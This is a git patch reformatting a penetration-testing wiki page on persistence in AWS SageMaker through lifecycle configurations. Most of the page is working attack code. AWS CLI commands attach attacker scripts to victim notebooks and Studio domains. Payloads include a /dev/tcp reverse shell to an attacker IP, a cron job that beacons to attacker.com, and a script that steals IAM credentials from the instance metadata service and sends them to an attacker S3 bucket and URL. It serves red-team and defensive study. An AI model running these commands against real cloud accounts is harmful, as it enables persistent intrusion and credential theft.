From 7b475f151e2e2bfeb46821ce162ceb21ef7e52fc Mon Sep 17 00:00:00 2001 From: Ben <93559326+AI-redteam@users.noreply.github.com> Date: Tue, 15 Jul 2025 17:01:04 -0500 Subject: [PATCH] Update aws-sagemaker-persistence.md --- .../aws-sagemaker-persistence.md | 76 ++++++++++++------- 1 file changed, 49 insertions(+), 27 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md index 8a0c6714e..53c7d2266 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md @@ -1,54 +1,74 @@ -### AWS - SageMaker Lifecycle Configuration Persistence +# AWS - SageMaker Lifecycle Configuration Persistence -# Required Permissions -* Notebook Instances: sagemaker:CreateNotebookInstanceLifecycleConfig, sagemaker:UpdateNotebookInstanceLifecycleConfig, sagemaker:CreateNotebookInstance, sagemaker:UpdateNotebookInstance -* Studio Applications: sagemaker:CreateStudioLifecycleConfig, sagemaker:UpdateStudioLifecycleConfig, sagemaker:UpdateUserProfile, sagemaker:UpdateSpace, sagemaker:UpdateDomain - -### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads. +## Required Permissions +* Notebook Instances: +``` +sagemaker:CreateNotebookInstanceLifecycleConfig +sagemaker:UpdateNotebookInstanceLifecycleConfig +sagemaker:CreateNotebookInstance +sagemaker:UpdateNotebookInstance +``` +* Studio Applications: +``` +sagemaker:CreateStudioLifecycleConfig +sagemaker:UpdateStudioLifecycleConfig +sagemaker:UpdateUserProfile +sagemaker:UpdateSpace +sagemaker:UpdateDomain +``` +#### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads. ## Set Lifecycle Configuration on Notebook Instances ### Example AWS CLI Commands: +```bash +# Create Lifecycle Configuration* -*# Create Lifecycle Configuration* aws sagemaker create-notebook-instance-lifecycle-config \ --notebook-instance-lifecycle-config-name attacker-lcc \ --on-start Content=$(base64 -w0 reverse_shell.sh) -*# Attach Lifecycle Configuration to Notebook Instance* + +# Attach Lifecycle Configuration to Notebook Instance* + aws sagemaker update-notebook-instance \ --notebook-instance-name victim-instance \ --lifecycle-config-name attacker-lcc +``` ## Set Lifecycle Configuration on SageMaker Studio Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio. ### Studio Domain Level (All Users) +```bash +# Create Studio Lifecycle Configuration* -*# Create Studio Lifecycle Configuration* aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-studio-lcc \ --studio-lifecycle-config-app-type JupyterServer \ --studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) -*# Apply LCC to entire Studio Domain* + +# Apply LCC to entire Studio Domain* + aws sagemaker update-domain --domain-id --default-user-settings '{ "JupyterServerAppSettings": { "DefaultResourceSpec": {"LifecycleConfigArn": ""} } }' - +``` ### Studio Space Level (Individual or Shared Spaces) +```bash +# Update SageMaker Studio Space to attach LCC* -*# Update SageMaker Studio Space to attach LCC* aws sagemaker update-space --domain-id --space-name --space-settings '{ "JupyterServerAppSettings": { "DefaultResourceSpec": {"LifecycleConfigArn": ""} } }' - +``` ## Types of Studio Application Lifecycle Configurations Lifecycle configurations can be specifically applied to different SageMaker Studio application types: @@ -59,26 +79,26 @@ Lifecycle configurations can be specifically applied to different SageMaker Stud ### Example Command for Each Type: ### JupyterServer - +```bash aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-jupyter-lcc \ --studio-lifecycle-config-app-type JupyterServer \ --studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) - +``` ### KernelGateway - +```bash aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-kernelgateway-lcc \ --studio-lifecycle-config-app-type KernelGateway \ --studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) - +``` ### CodeEditor - +```bash aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-codeeditor-lcc \ --studio-lifecycle-config-app-type CodeEditor \ --studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) - +``` ### Critical Info: * Attaching LCCs at the domain or space level impacts all users or applications within scope. * Requires higher permissions (sagemaker:UpdateDomain, sagemaker:UpdateSpace) typically more feasible at space than domain level. @@ -89,18 +109,18 @@ aws sagemaker create-studio-lifecycle-config \ SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell. ### Payload Example: - +``` #!/bin/bash ATTACKER_IP="" ATTACKER_PORT="" nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & - +``` ## Cron Job Persistence via Lifecycle Configuration An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence. ### Payload Example: - +``` #!/bin/bash PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" @@ -111,22 +131,24 @@ echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOA chmod +x $PAYLOAD_PATH (crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - - +``` ## Credential Exfiltration via IMDS (v1 & v2) Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location. ### Payload Example: - +```bash #!/bin/bash ATTACKER_BUCKET="s3://attacker-controlled-bucket" TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json -*# Exfiltrate via S3* +# Exfiltrate via S3* + aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json -*# Alternatively, exfiltrate via HTTP POST* -curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload +# Alternatively, exfiltrate via HTTP POST* +curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload +```